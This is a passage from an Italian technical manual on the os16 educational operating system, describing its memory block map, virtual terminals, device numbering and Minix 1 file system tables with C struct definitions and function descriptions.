`size_t mem_write (addr_t start, void *buffer, size_t size);`	Scrive, in memoria, a partire dall'indirizzo indicato come primo parametro, la quantità di byte indicata come ultimo parametro. Ciò che viene scritto proviene dalla memoria tampone corrispondente al puntatore generico indicato come secondo parametro.

95.4.2 Scansione della mappa di memoria

Listato 105.8 e successivi.

La mappa della memoria si rappresenta (a sua volta in memoria), con un array di interi a 16 bit, dove ogni bit individua un blocco di memoria. Pertanto, l'array si compone di una quantità di elementi pari al valore di '**`MEM_MAX_BLOCKS`**' diviso 16.

Il primo elemento di questo array, ovvero ***mb_table[0]***, individua i primi 16 blocchi di memoria, dove il bit più significativo si riferisce precisamente al primo blocco. Per esempio,

se ***mb_table[0]*** contiene il valore $F800_{16}$, ovvero 1111100000000000_2, significa che i primi cinque blocchi di memoria sono occupati, mentre i blocchi dal sesto al sedicesimo sono liberi.

Dal momento che i calcoli per individuare i blocchi di memoria e per intervenire nella mappa relativa, possono creare confusione, queste operazioni sono raccolte in funzioni statiche separate, anche se sono utili esclusivamente all'interno del file in cui si trovano. Tali funzioni statiche hanno una sintassi comune:

```
int mb_block_set1   (int block)
int mb_block_set0   (int block)
int mb_block_status (int block)
```

Le funzioni ***mb_block_set1()*** e ***mb_block_set0()*** servono rispettivamente a impegnare o liberare un certo blocco di memoria, individuato dal valore dell'argomento. La funzione ***mb_block_status()*** restituisce uno nel caso il blocco indicato risulti allocato, oppure zero in caso contrario.

Queste tre funzioni usano un metodo comune per scandire la mappa della memoria: il valore che rappresenta il blocco a cui si vuole fare riferimento, viene diviso per 16, ovvero il rango degli elementi dell'array che rappresenta la mappa della memoria. Il risultato intero della divisione serve per trovare quale elemento dell'array considerare, mentre il resto della divisione serve per determinare quale bit dell'elemento trovato rappresenta il blocco desiderato. Trovato ciò, si deve costruire una maschera, nella quale si mette a uno il bit che rappresenta il blocco; per farlo, si pone inizialmente a uno il bit più significativo della maschera, quindi lo si fa scorrere verso destra di un valore pari al resto della divisione.

Per esempio, volendo individuare il terzo blocco di memoria, pari al numero 2 (il primo blocco corrisponderebbe allo zero), si avrebbe che questo è descritto dal primo elemento dell'array (in quanto 2/16 dà zero, come risultato intero), mentre la maschera necessaria a trovare il bit corrispondente è 0010000000000000_2, la quale si ottiene spostando per due volte verso destra il bit più significativo (due volte, pari al resto della divisione).

Una volta determinata la maschera, per segnare come occupato un blocco di memoria, basta utilizzare l'operatore OR binario:

```
        mb_table[i] = mb_table[i] | mask;
```

Se invece si vuole liberare un blocco di memoria, si utilizza un AND binario, invertendo però il contenuto della maschera:

```
        mb_table[i] = mb_table[i] & ~mask;
```

Va osservato che la rappresentazione dei blocchi nella mappa è invertita rispetto ad altri sistemi operativi, in quanto non sarebbe tanto logico il fatto che il bit più significativo si riferisca invece alla parte più bassa del proprio insieme di blocchi di memoria. La scelta è dovuta al fatto che, volendo rappresentare la mappa numericamente, la lettura di questa sarebbe più vicina a quella che è la percezione umana del problema.

95.5 Gestione dei terminali virtuali

Listato 105.10 e successivi.

os16 offre esclusivamente un utilizzo operativo tramite console. Alcune funzioni con prefisso '**con_...()**', dichiarate nel file 'kernel/ibm_i86.h', si occupano di tale gestione, ma per distinguere tra terminali virtuali (o console virtuali), associati a processi differenti, si rende necessario un livello ulteriore di astrazione, costituito dal codice contenuto nel file 'kernel/tty.h' e in quelli della directory 'kernel/tty/'.

I terminali virtuali gestibili sono rappresentati da un array di variabili strutturate, ognuna delle quali contiene tutte le informazioni del contesto operativo di un certo terminale. L'array in questione è ***tty_table[]*** (a cui però si accede tramite una funzione che ne restituisce il puntatore) e vi si annotano, per ogni terminale attivo, il numero del dispositivo corrispondente, il numero del gruppo di processi a cui si associa, l'ultimo codice digitato (e non ancora letto), lo stato di funzionamento (se sono stati persi dei dati o meno).

Va osservata la differenza sostanziale che c'è tra le operazioni di scrittura e quelle di lettura. Infatti, la scrittura sul terminale implica la chiamata della funzione ***con_putc()***, del file 'kernel/ibm_i86.h'; al contrario, la lettura avviene in forma passiva, limitandosi ad acquisire il valore già disponibile nella variabile strutturata che rappresenta il terminale virtuale. Come può essere verificato successivamente, è compito del sistema di gestione delle interruzioni la fornitura del valore digitato al terminale virtuale competente, tramite l'appoggio della variabile strutturata che lo rappresenta.

Come per tutte le tabelle di os16 che non fanno parte di uno standard, anche quella che contiene le informazioni dei terminali virtuali è accessibile preferibilmente con l'ausilio di una funzione che ne restituisce il puntatore. In questo caso, la funzione ***tty_reference()*** consente di ottenere il puntatore all'elemento corrispondente della tabella dei terminali, fornendo come argomento il numero del dispositivo cercato.

Tabella 95.37. Funzioni per la gestione dei terminali, dichiarate nel file di intestazione 'kernel/tty.h'.

Funzione	Descrizione
`void tty_init (void);`	Inizializza la gestione dei terminali. Viene usata una volta sola nella funzione ***main()*** del kernel.
`tty_t *tty_reference (dev_t` ***device***`);`	Restituisce il puntatore a un elemento della tabella dei terminali. Se come numero di dispositivo si indica lo zero, si ottiene il riferimento a tutta la tabella; se non viene trovato il numero di dispositivo cercato, si ottiene il puntatore nullo.
`dev_t tty_console (dev_t` ***device***`);`	Seleziona la console indicata attraverso il numero di dispositivo che costituisce l'unico parametro. Se viene dato un valore a zero, si ottiene solo di conoscere qual è la console attiva. La console selezionata viene anche memorizzata in una variabile statica, per le chiamate successive della funzione. Se viene indicato un numero di dispositivo non valido, si seleziona implicitamente la prima console.

Funzione	Descrizione
`int tty_read (dev_t device);`	Legge un carattere dal terminale specificato attraverso il numero di dispositivo. Per la precisione, il carattere viene tratto dal campo relativo contenuto nella tabella dei terminali. Il carattere viene restituito dalla funzione come valore intero comune; se si ottiene zero significa che non è disponibile alcun carattere.
`void tty_write (dev_t device, int c);`	Scrive sullo schermo del terminale rappresentato dal numero di dispositivo, il carattere fornito come secondo parametro.

95.6 Dispositivi

La gestione dei dispositivi fisici, da parte di os16, è molto limitata, in quanto ci si avvale prevalentemente delle funzionalità già offerte dal BIOS. In ogni caso, tutte le operazioni di lettura e scrittura di dispositivi, passano attraverso la gestione comune della funzione ***dev_io()***.

95.6.1 File «lib/sys/os16.h» e directory «lib/sys/os16/»

Listato 106.12 e altri.

Una parte delle definizioni che riguardano la gestione dei dispositivi, necessaria al kernel, è disponibile anche alle applicazioni attraverso il file '`lib/sys/os16.h`'. Al suo interno, tra le altre cose, è definito un insieme di macro-variabili, con prefisso ***DEV_***..., con cui si distinguono i numeri attribuiti ai dispositivi. Per esempio, ***DEV_DSK_MAJOR*** corrisponde al numero primario (*major*) per tutte le unità di memorizzazione, mentre ***DEV_DSK1*** corrisponde al numero primario e secondario (*major* e *minor*), in un valore unico, della seconda unità a disco.

95.6.2 File «kernel/devices.h» e «kernel/devices/...»

Listati 105.2 e altri.

Il file '`kernel/devices.h`' incorpora il file '`lib/sys/os16/os16.h`', per acquisire le funzionalità legate alla gestione dei dispositivi che sono disponibili anche agli applicativi. Successivamente dichiara la funzione ***dev_io()***, la quale sintetizza tutta la gestione dei dispositivi. Questa funzione utilizza il parametro ***rw***, per specificare l'azione da svolgere (lettura o scrittura). Per questo parametro vanno usate le macro-variabili ***DEV_READ*** e ***DEV_WRITE***, così da non dover ricordare quale valore numerico corrisponde alla lettura e quale alla scrittura.

```
ssize_t dev_io (pid_t pid, dev_t device, int rw, off_t offset,
                void *buffer, size_t size, int *eof);
```

Sono comunque descritte anche altre funzioni, ma utilizzate esclusivamente da ***dev_io()***.

La funzione ***dev_io()*** si limita a estrapolare il numero primario dal numero del dispositivo complessivo, quindi lo confronta con i vari tipi gestibili. A seconda del numero primario seleziona una funzione appropriata per la gestione di quel tipo di dispositivo, passando praticamente gli stessi argomenti già ricevuti.

Va osservato il caso particolare dei dispositivi '**`DEV_KMEM_`**...'. In un sistema operativo Unix comune, attraverso ciò che fa capo al file di dispositivo '`/dev/kmem`', si ha la possibilità di accedere all'immagine in memoria del kernel, lasciando a un programma con privilegi adeguati la facoltà di interpretare i simboli che consentono di individuare i dati esistenti. Nel caso di os16, non ci sono simboli nel risultato della compilazione, quindi non è possibile ricostruire la collocazione dei dati. Per questa ragione, le informazioni che devono essere pubblicate, vengono controllate attraverso un dispositivo specifico. Quindi, il dispositivo '**`DEV_KMEM_PS`**' consente di leggere la tabella dei processi, '**`DEV_KMEM_MMAP`**' consente di leggere la mappa della memoria, e così vale anche per altre tabelle.

Per quanto riguarda la gestione dei terminali, attraverso la funzione ***dev_tty()***, quando un processo vuole leggere dal terminale, ma non risulta disponibile un carattere, questo viene messo in pausa, in attesa di un evento legato ai terminali.

os16, non disponendo di un sistema di trattenimento dei dati in memoria (*cache*), esegue le operazioni di lettura e scrittura dei dispositivi in modo immediato. Per questo motivo, la distinzione tra file di dispositivo a blocchi e a caratteri, rimane puramente estetica, ovvero priva di un'utilità concreta.

Figura 95.38. Interdipendenza tra la funzione ***dev_io()*** e le altre. I collegamenti con le funzioni ***major()*** e ***minor()*** sono omesse.

Figura 95.39. Schema più ampio delle dipendenze che hanno origine dalla funzione ***dev_io()***.

95.6.3 Numero primario e numero secondario

I dispositivi, secondo la tradizione dei sistemi Unix, sono rappresentati dal punto di vista logico attraverso un numero intero, senza segno, a 16 bit. Tuttavia, per organizzare questa numerazione in modo ordinato, tale numero viene diviso in due parti: la prima parte, nota come *major*, ovvero «numero primario», si utilizza per individuare il tipo di dispositivo; la seconda, nota come *minor*, ovvero «numero secondario», si utilizza per individuare precisamente il dispositivo, nell'ambito del tipo a cui appartiene.

In pratica, il numero complessivo a 16 bit si divide in due, dove gli 8 bit più significativi individuano il numero primario, mentre quelli meno significativi danno il numero secondario. L'esempio seguente si riferisce al dispositivo che genera il valore zero, il quale appartiene al gruppo dei dispositivi relativi alla memoria:

`DEV_MEM_MAJOR`	01_{16}

DEV_ZERO	0104_{16}

In questo caso, il valore che rappresenta complessivamente il dispositivo è 0104_{16} (pari a 260_{10}), ma si compone di numero primario 01_{16} e di numero secondario 04_{16} (che coincidono nella rappresentazione in base dieci). Per estrarre il numero primario si deve dividere il numero complessivo per 256 (0100_{16}), trattenendo soltanto il risultato intero; per filtrare il numero secondario si può fare la stessa divisione, ma trattenendo soltanto il resto della stessa. Al contrario, per produrre il numero del dispositivo, partendo dai numeri primario e secondario separati, occorre moltiplicare il numero primario per 256, sommando poi il risultato al numero secondario.

95.6.4 Dispositivi previsti

L'astrazione della gestione dei dispositivi, consente di trattare tutti i componenti che hanno a che fare con ingresso e uscita di dati, in modo sostanzialmente omogeneo; tuttavia, le caratteristiche effettive di tali componenti può comportare delle limitazioni o delle peculiarità. Ci sono alcune questioni fondamentali da considerare: un tipo di dispositivo potrebbe consentire l'accesso in un solo verso (lettura o scrittura); l'accesso al dispositivo potrebbe essere ammesso solo in modo sequenziale, rendendo inutile l'indicazione di un indirizzo; la dimensione dell'informazione da trasferire potrebbe assumere un significato differente rispetto a quello comune.

Tabella 95.41. Classificazione dei dispositivi di os16.

Dispositivo	Lettura e scrittura r/w	Accesso diretto o sequenziale	Annotazioni
DEV_MEM	r/w	diretto	Permette l'accesso alla memoria, in modo indiscriminato, perché os16 non offre alcun tipo di protezione al riguardo.
DEV_NULL	r/w	nessuno	Consente la lettura e la scrittura, ma non si legge e non si scrive alcunché.
DEV_PORT	r/w	sequenziale	Consente di leggere e scrivere da o verso una porta di I/O, individuata attraverso l'indirizzo di accesso (l'indirizzo, o meglio lo scostamento, viene trattato come la porta a cui si vuole accedere). Tuttavia, la dimensione dell'informazione da trasferire è valida solo se si tratta di uno o di due byte: per la dimensione di un byte si usano le funzioni ***in_8()*** e ***out_8()***; per due byte si usano le funzioni ***in_16()*** e ***out_16()***. Per dimensioni differenti la lettura o la scrittura non ha effetto.
DEV_ZERO	r	sequenziale	Consente solo la lettura di valori a zero (zero inteso in senso binario).
DEV_TTY	r/w	sequenziale	Rappresenta il terminale virtuale del processo attivo.
DEV_DSK***n***	r/w	diretto	Rappresenta l'unità a dischi ***n***. os16 non gestisce le partizioni.

Dispositivo	Lettura e scrittura r/w	Accesso diretto o sequenziale	Annotazioni
`DEV_KMEM_PS`	r	diretto	Rappresenta la tabella contenente le informazioni sui processi. L'indirizzo di accesso indica il numero del processo di partenza; la dimensione da leggere dovrebbe essere abbastanza grande da contenere un processo, ma anche richiedendo una dimensione maggiore, se ne legge uno solo.
`DEV_KMEM_MMP`	r	sequenziale	Rappresenta la mappa della memoria, alla quale si può accedere solo dal suo principio. In pratica, l'indirizzo di accesso viene ignorato, mentre conta solo la quantità di byte richiesta.
`DEV_KMEM_SB`	r	diretto	Rappresenta la tabella dei super blocchi (per la gestione delle unità di memorizzazione). L'indirizzo di accesso serve a individuare il super blocco; la dimensione richiesta dovrebbe essere abbastanza grande da contenere un super blocco, ma anche richiedendo una dimensione maggiore, se ne legge uno solo.
`DEV_KMEM_INODE`	r	diretto	Rappresenta la tabella degli inode (per la gestione delle unità di memorizzazione). L'indirizzo di accesso serve a individuare l'inode; la dimensione richiesta dovrebbe essere abbastanza grande da contenere un inode, ma anche richiedendo una dimensione maggiore, se ne legge uno solo.
`DEV_KMEM_FILE`	r	diretto	Rappresenta la tabella dei file (per la gestione delle unità di memorizzazione). L'indirizzo di accesso serve a individuare il file; la dimensione richiesta dovrebbe essere abbastanza grande da contenere le informazioni di un file, ma anche richiedendo una dimensione maggiore, se ne legge uno solo.
`DEV_CONSOLE`	r/w	sequenziale	Legge o scrive relativamente alla console attiva la quantità di byte richiesta, ignorando l'indirizzo di accesso.
`DEV_CONSOLE`***n***	r/w	sequenziale	Legge o scrive relativamente alla console ***n*** la quantità di byte richiesta, ignorando l'indirizzo di accesso.

95.7 Gestione del file system

La gestione del file system è suddivisa in diversi file contenuti nella directory '`kernel/fs/`', facenti capo al file di intestazione '`kernel/fs.h`'.

95.7.1 File «kernel/fs/sb_...»

I file '`kernel/fs/sb_...`' descrivono le funzioni per la gestione dei super blocchi, distinguibili perché iniziano tutte con il prefisso '**`sb_`**'. Tra questi file si dichiara l'array ***sb_table[]***, il quale rappresenta una tabella le cui righe sono rappresentate da elementi di tipo '**`sb_t`**' (il tipo '**`sb_t`**' è definito nel file '`kernel/fs.h`'). Per uniformare l'accesso alla tabella, la funzione ***sb_reference()*** permette di ottenere il puntatore a un elemento dell'array ***sb_table[]***, specificando il numero del dispositivo cercato.

Figura 95.42. Struttura del tipo '**`sb_t`**', corrispondente agli elementi dell'array ***sb_table[]***.


```
typedef struct sb        sb_t;

struct sb {
  uint16_t  inodes;
  uint16_t  zones;
  uint16_t  map_inode_blocks;
  uint16_t  map_zone_blocks;
  uint16_t  first_data_zone;
  uint16_t  log2_size_zone;
  uint32_t  max_file_size;
  uint16_t  magic_number;
  //-------------------------
  dev_t     device;
  inode_t  *inode_mounted_on;
  blksize_t blksize;
  int       options;
  uint16_t  map_inode[SB_MAP_INODE_SIZE];
  uint16_t  map_zone[SB_MAP_ZONE_SIZE];
  char      changed;
};
```

Il super blocco rappresentato dal tipo '**`sb_t`**' include anche le mappe delle zone e degli inode impegnati. Queste mappe hanno una dimensione fissa in memoria, mentre nel file system reale possono essere di dimensione minore. La tabella di super blocchi, contiene le informazioni dei dispositivi di memorizzazione innestati nel sistema. L'innesto si concretizza nel riferimento a un inode, contenuto nella tabella degli inode (descritta in un altro capitolo), il quale rappresenta la directory di un'altra unità, su cui tale innesto è avvenuto. Naturalmente, l'innesto del file system principale rappresenta un caso particolare.

Tabella 95.43. Funzioni per la gestione dei dispositivi di memorizzazione di massa, a livello di super blocco, definite nei file '`kernel/fs/sb_...`'.

Funzione	Descrizione
`sb_t *sb_reference (dev_t` ***device***`);`	Restituisce il riferimento a un elemento della tabella dei super blocchi, in base al numero del dispositivo di memorizzazione. Se il dispositivo cercato non risulta già innestato, si ottiene il puntatore nullo; se si chiede il dispositivo zero, si ottiene il puntatore al primo elemento della tabella.
`sb_t *sb_mount (dev_t` ***device***`, inode_t **`***inode_mnt***`, int` ***options***`);`	Innesta il dispositivo rappresentato numericamente dal primo parametro, sulla directory corrispondente all'inode a cui punta il secondo parametro, con le opzioni del terzo parametro. Quando si tratta del primo innesto del file system principale, la directory è quella dello stesso file system, pertanto, in tal caso, ***inode_mnt*** è inizialmente un puntatore nullo e deve essere modificato dalla funzione stessa.
`int sb_save (sb_t *`***sb***`);`	Salva il super blocco nella sua unità di memorizzazione, se questo risulta modificato. In questo caso, il super blocco include anche le mappe degli inode e delle zone.
`int sb_zone_status (sb_t *`***sb***`, zno_t` ***zone***`);`	Restituisce uno se la zona rappresentata dal secondo parametro è impegnata nel super blocco a cui si riferisce il primo parametro; diversamente restituisce zero.
`int sb_inode_status (sb_t *`***sb***`, ino_t` ***ino***`);`	Restituisce uno se l'inode rappresentato dal secondo parametro è impegnato nel super blocco a cui si riferisce il primo parametro; diversamente restituisce zero.

95.7.2 File «kernel/fs/zone_...»

Nel file system Minix 1, si distinguono i concetti di blocco e zona di dati, con il vincolo che la zona ha una dimensione multipla del blocco. Il contenuto del file system, dopo tutte le informazioni amministrative, è organizzato in zone; in altri termini, i blocchi di dati si raggiungono in qualità di zone.

La zona rimane comunque un tipo di blocco, potenzialmente più grande (ma sempre multiplo) del blocco vero e proprio, che si numera a partire dall'inizio dello spazio disponibile, con la

differenza che è utile solo per raggiungere i blocchi di dati. Nel super blocco del file system si trova l'informazione del numero della prima zona che contiene dati, in modo da non dover ricalcolare questa informazione ogni volta.

I file '`kernel/fs/zone_...`' descrivono le funzioni per la gestione del file system a zone.

Tabella 95.45. Funzioni per la gestione delle zone, definite nei file '`kernel/fs/zone_...`'.

Funzione	Descrizione
`zno_t zone_alloc (sb_t *sb);`	Alloca una zona, restituendo il numero della stessa. In pratica, cerca la prima zona libera nel file system a cui si riferisce il super blocco ***sb** e la segna come impegnata, restituendone il numero.
`int zone_free (sb_t *sb, zno_t zone);`	Libera una zona, impegnata precedentemente.
`int zone_read (sb_t *sb, zno_t zone, void *buffer);`	Legge il contenuto di una zona, memorizzandolo a partire dalla posizione di memoria rappresentato da ***buffer***.
`int zone_write (sb_t *sb, zno_t zone, void *buffer);`	Sovrascrive una zona, utilizzando il contenuto della memoria a partire dalla posizione rappresentata da ***buffer***.

95.7.3 File «kernel/fs/inode_...»

I file '`kernel/fs/inode_...`' descrivono le funzioni per la gestione dei file, in forma di inode. In uno di questi file viene dichiarata la tabella degli inode in uso nel sistema, rappresentata dall'array ***inode_table[]*** e per individuare un certo elemento dell'array si usa preferibilmente la funzione ***inode_reference()***. Gli elementi della tabella degli inode sono di tipo '**`inode_t`**' (definito nel file '`kernel/fs.h`'); una voce della tabella rappresenta un inode utilizzato se il campo dei riferimenti (***references***) ha un valore maggiore di zero.

Figura 95.46. Struttura del tipo '**`inode_t`**', corrispondente agli elementi dell'array ***inode_table[]***.

tipo di file e permessi di accesso
UID: utente proprietario
dimensione del file in byte
data e orario dell'ultima modifica espressa in secondi dal 1/1/1970
n. collegamenti dalle directory | GID: gruppo proprietario
numero della zona 0
numero della zona 1
numero della zona 2
numero della zona 3
numero della zona 4
numero della zona 5
numero della zona 6
zona contenente un elenco di altre zone
indirezione doppia
super blocco a cui appartiene l'inode
numero dell'inode
super blocco innestato
dimensione del file in zone
riferimenti attivi a questo inode | salvare?

inode come memorizzato nel file system Minix

```
typedef struct inode     inode_t;

struct inode {
    mode_t         mode;
    uid_t          uid;
    ssize_t        size;
    time_t         time;
    uint8_t        gid;
    uint8_t        links;
    zno_t          direct[7];
    zno_t          indirect1;
    zno_t          indirect2;
    //------------------------
    sb_t          *sb;
    ino_t          ino;
    sb_t          *sb_attached;
    blkcnt_t       blkcnt;
    unsigned char references;
    char           changed;
};
```

Figura 95.47. Collegamento tra la tabella degli inode e quella dei super blocchi.

Tabella 95.48. Funzioni per la gestione dei file in forma di inode, definite nei file ‘`kernel/fs/inode_...`’.

Funzione	Descrizione
`inode_t *inode_reference (dev_t` ***device***`, ino_t` ***ino***`);`	Restituisce il puntatore a un inode, rappresentato in pratica da un elemento dell'array ***inode_table[]***, corrispondente a quello con il numero di dispositivo e di inode indicati come argomenti. Se entrambi gli argomenti sono a zero, si ottiene il puntatore al primo elemento; se entrambi i valori sono pari a -1, si ottiene il puntatore al primo elemento libero; se viene indicato il dispositivo zero e l'inode numero uno, si ottiene il puntatore all'elemento corrispondente alla directory radice del file system principale.
`inode_t *inode_alloc (dev_t` ***device***`, mode_t` ***mode***`, uid_t` ***uid***`);`	La funzione ***inode_alloc()*** cerca un inode libero nel file system del dispositivo indicato, quindi lo alloca (lo segna come utilizzato) e lo modifica aggiornando il tipo e la modalità dei permessi, oltre al proprietario del file. Se la funzione riesce nel suo intento, restituisce il puntatore all'inode in memoria, il quale rimane così aperto e disponibile per ulteriori elaborazioni.
`inode_t *inode_get (dev_t` ***device***`, ino_t` ***ino***`);`	Restituisce il puntatore all'inode rappresentato dal numero di dispositivo e di inode, indicati come argomenti. Se l'inode è già presente nella tabella degli inode, la cosa si risolve nell'incremento di una unità del numero dei riferimenti di tale inode; se invece l'inode non è ancora presente, questo viene caricato dal suo file system nella tabella e gli viene attribuito inizialmente un riferimento attivo.

Funzione	Descrizione
`int inode_put (inode_t *inode);`	Rilascia un inode che non serve più. Ciò comporta la riduzione del contatore dei riferimenti nella tabella degli inode, tenendo conto che se tale valore raggiunge lo zero, si provvede anche al suo salvataggio nel file system (ammesso che l'inode della tabella risulti modificato, rispetto alla versione presente nel file system). La funzione restituisce zero in caso di successo, oppure −1 in caso contrario.
`int inode_save (inode_t *inode);`	Salva l'inode nel file system, se questo risulta modificato.
`blkcnt_t inode_fzones_read (inode_t *inode, zno_t zone_start, void *buffer, blkcnt_t blkcnt);`	Legge da un file, identificato attraverso il puntatore all'inode (della tabella di inode), una certa quantità di zone, a partire da una certa zona relativa al file, mettendo il risultato della lettura a partire dalla posizione di memoria rappresentata da un puntatore generico. La funzione restituisce la quantità di zone lette con successo.
`ssize_t inode_file_read (inode_t *inode, off_t offset, void *buffer, size_t count, int *eof);`	Legge il contenuto di un file, individuato da un inode già caricato nella tabella relativa, aggiornando eventualmente una variabile contenente l'indicatore di fine file. La funzione restituisce la quantità di byte letti con successo, oppure il valore −1 in caso di problemi.
`ssize_t inode_file_write (inode_t *inode, off_t offset, void *buffer, size_t count);`	Scrive una certa quantità di byte nel file individuato da un inode già caricato nella tabella relativa. La funzione restituisce la quantità di byte scritti effettivamente, oppure il valore −1 in caso di problemi.
`zno_t inode_zone (inode_t *inode, zno_t fzone, int write);`	Restituisce il numero di zona effettivo, corrispondente a un numero di zona relativo a un certo file di un certo inode. Se il parametro ***write*** è pari a zero, si intende che la zona deve esistere, quindi se questa non c'è, si ottiene semplicemente un valore pari a zero; se invece l'ultimo parametro è pari a uno, nel caso la zona cercata fosse attualmente mancante, verrebbe creata al volo nel file system.
`int inode_truncate (inode_t *inode);`	Riduce la dimensione del file a cui si riferisce l'inode a zero. In pratica fa sì che le zone allocate del file siano liberate. La funzione restituisce zero se l'operazione si conclude con successo, oppure −1 in caso di problemi.
`int inode_check (inode_t *inode, mode_t type, int perm, uid_t uid);`	Verifica che l'inode sia di un certo tipo e abbia i permessi di accesso necessari a un certo utente. Nel parametro ***type*** si possono indicare più tipi validi. La funzione restituisce zero in caso di successo, ovvero di compatibilità, mentre restituisce −1 se il tipo o i permessi non sono adatti.
`int inode_dir_empty (inode_t *inode);`	Verifica se la directory a cui si riferisce l'inode è effettivamente una directory ed è vuota, nel qual caso restituisce il valore uno, altrimenti restituisce zero.

95.7.4 Fasi dell'innesto di un file system

L'innesto e il distacco di un file system, coinvolge simultaneamente la tabella dei super blocchi e quella degli inode. Si distinguono due situazioni fondamentali: l'innesto del file system principale e quello di un file system ulteriore.

Quando si tratta dell'innesto del file system principale, la tabella dei super blocchi è priva di voci e quella degli inode non contiene riferimenti a file system. La funzione ***sb_mount()*** viene chiamata indicando, come riferimento all'inode di innesto, il puntatore a una variabile puntatore contenente il valore nullo:

```
...
    inode_t *inode;
    sb_t    *sb;
    ...
    inode = NULL;
    sb = sb_mount (DEV_DSK0, &inode, MOUNT_DEFAULT);
    ...
```

La funzione ***sb_mount()*** carica il super blocco nella tabella relativa, ma trovando il riferimento all'inode di innesto nullo, provvede a caricare l'inode della directory radice dello stesso dispositivo, creando un collegamento incrociato tra le tabelle dei super blocchi e degli inode, come si vede nella figura successiva.

Figura 95.50. Collegamento tra la tabella degli inode e quella dei super blocchi, quando si innesta il file system principale.

Per innestare un altro file system, occorre prima disporre dell'inode di una directory (appropriata) nella tabella degli inode, quindi si può caricare il super blocco del nuovo file system, creando il collegamento tra directory e file system innestato.

Figura 95.51. Innesto di un file system nella directory '`/usr/`'.

directory radice /
directory radice /usr
sb
sb_attached
references
1
1
inode_table[]
device
DEV_DSK0
DEV_DSK1
sb_table[]
inode_mounted_on

95.7.5 File «kernel/fs/file_...»

I file '`kernel/fs/file_...`' descrivono le funzioni per la gestione della tabella dei file, la quale si collega a sua volta a quella degli inode. In realtà, le funzioni di questo gruppo sono in numero molto limitato, perché l'intervento nella tabella dei file avviene prevalentemente per opera di funzioni che gestiscono i descrittori.

La tabella dei file è rappresentata dall'array ***file_table[]*** e per individuare un certo elemento dell'array si usa preferibilmente la funzione ***file_reference()***. Gli elementi della tabella dei file sono di tipo '**`file_t`**' (definito nel file '`kernel/fs.h`'); una voce della tabella rappresenta un file aperto se il campo dei riferimenti (***references***) ha un valore maggiore di zero.

Figura 95.52. Struttura del tipo '**`file_t`**', corrispondente agli elementi dell'array ***file_table[]***.

riferimenti attivi a questo file provenienti da descrittori
indice interno di accesso al file
modalità di apertura
riferimento all'inode del file

```
typedef struct file file_t;

struct file {
    int        references;
    off_t      offset;
    int        oflags;
    inode_t   *inode;
};
```

Nel membro ***oflags*** si annotano esclusivamente opzioni relative alla modalità di apertura del file: lettura, scrittura o entrambe; pertanto si possono usare le macro-variabili ***O_RDONLY***, ***O_WRONLY*** e ***O_RDWR***, come dichiarato nel file di intestazione '`lib/fcntl.h`'. Il membro ***offset*** rappresenta l'indice interno di accesso al file, per l'operazione successiva di lettura o scrittura al suo interno. Il membro ***references*** è un contatore dei riferimenti a questa tabella, da parte di descrittori di file.

La tabella dei file si collega a quella degli inode, attraverso il membro ***inode***. Più voci della tabella dei file possono riferirsi allo stesso inode, perché hanno modalità di accesso differenti, oppure soltanto per poter distinguere l'indice interno di lettura e scrittura. Va osservato

che le voci della tabella di inode potrebbero essere usate direttamente e non avere elementi corrispondenti nella tabella dei file.

Figura 95.53. Collegamento tra la tabella dei file e quella degli inode.

Tabella 95.54. Funzioni fatte esclusivamente per la gestione della tabella dei file ***file_table[]***.

Funzione	Descrizione
`file_t *file_reference (int` ***fno***`);`	Restituisce il puntatore all'elemento ***fno***-esimo della tabella dei file. Se ***fno*** è un valore negativo, viene restituito il puntatore a una voce libera della tabella.
`file_t *file_stdio_dev_make (dev_t` ***device***`, mode_t` ***mode***`, int` ***oflags***`);`	Crea una voce per l'accesso a un file di dispositivo standard di input-output, restituendo il puntatore alla voce stessa.

95.7.6 Descrittori di file

Le tabelle di super blocchi, inode e file, riguardano il sistema nel complesso. Tuttavia, l'accesso normale ai file avviene attraverso il concetto di «descrittore», il quale è un file aperto da un certo processo elaborativo. Nel file '`kernel/fs.h`' si trova la dichiarazione e descrizione del tipo derivato '**`fd_t`**', usato per costruire una tabella di descrittori, ma tale tabella non fa parte della gestione del file system, bensì è incorporata nella tabella dei processi elaborativi. Pertanto, ogni processo ha una propria tabella di descrittori di file.

Figura 95.55. Struttura del tipo '**`fd_t`**', con cui si costituiscono gli elementi delle tabelle dei descrittori di file, una per ogni processo.

indicatori dello stato del file e delle modalità di accesso
indicatori del descrittore
riferimento alla tabella dei file di sistema

```
typedef struct fd fd_t;
struct fd {
    int      fl_flags;
    int      fd_flags;
    file_t *file;
};
```

Il membro ***fl_flags*** consente di annotare indicatori del tipo '**`O_RDONLY`**', '**`O_WRONLY`**', '**`O_RDWR`**', '**`O_CREAT`**', '**`O_EXCL`**', '**`O_NOCTTY`**', '**`O_TRUNC`**' e '**`O_APPEND`**', come dichiarato nella libreria standard, nel file di intestazione '`lib/fcntl.h`'. Tali indicatori si combinano assieme con l'operatore binario OR. Altri tipi di opzione che sarebbero previsti nel file '`lib/fcntl.h`', sono privi di effetto nella gestione del file system di os16.

Il membro ***fd_flags*** serve a contenere, eventualmente, l'opzione '**`FD_CLOEXEC`**', definita nel file '`lib/fcntl.h`'. Non sono previste altre opzioni di questo tipo.

Figura 95.56. Collegamento tra le tabelle dei descrittori e la tabella complessiva dei file. La tabella ***proc_table[x].fd[]*** rappresenta i descrittori di file del processo elaborativo ***x***.

file
references
inode
proc_table[x].fd[]
proc_table[y].fd[]
proc_table[z].fd[]
file_table[]
sb
sb_attached
references
voce libera
inode senza file system
inode normale
directory su cui si innesta un altro file system
inode normale
inode_table[]

95.7.7 File «kernel/fs/path_...»

I file '`kernel/fs/path_...`' descrivono le funzioni che fanno riferimento a file o directory attraverso una stringa che ne descrive il percorso.

Tabella 95.57. Funzioni per la gestione dei file, a cui si fa riferimento attraverso un percorso, senza indicazioni sul processo elaborativo.

Funzione	Descrizione
`int path_fix (char *`***path***`);`	Verifica il percorso indicato semplificandolo, quindi sovrascrive il percorso originario con quello riveduto e corretto. Un percorso assoluto rimane assoluto; un percorso relativo rimane relativo, mancando qualunque indicazione sulla directory corrente.
`int path_full (const char *`***path***`,` `const char *`***path_cwd***`,` `char *`***full_path***`);`	Ricostruisce un percorso assoluto, usando come riferimento la directory corrente indicata in ***path_cwd***, salvandolo in ***path_full***.

Tabella 95.58. Funzioni per la gestione dei file, a cui si fa riferimento attraverso un percorso, tenendo conto del processo elaborativo per conto del quale si svolge l'operazione. Del processo elaborativo si considera soprattutto l'identità efficace, per conoscerne i privilegi e determinare se è data effettivamente la facoltà di eseguire l'azione richiesta.

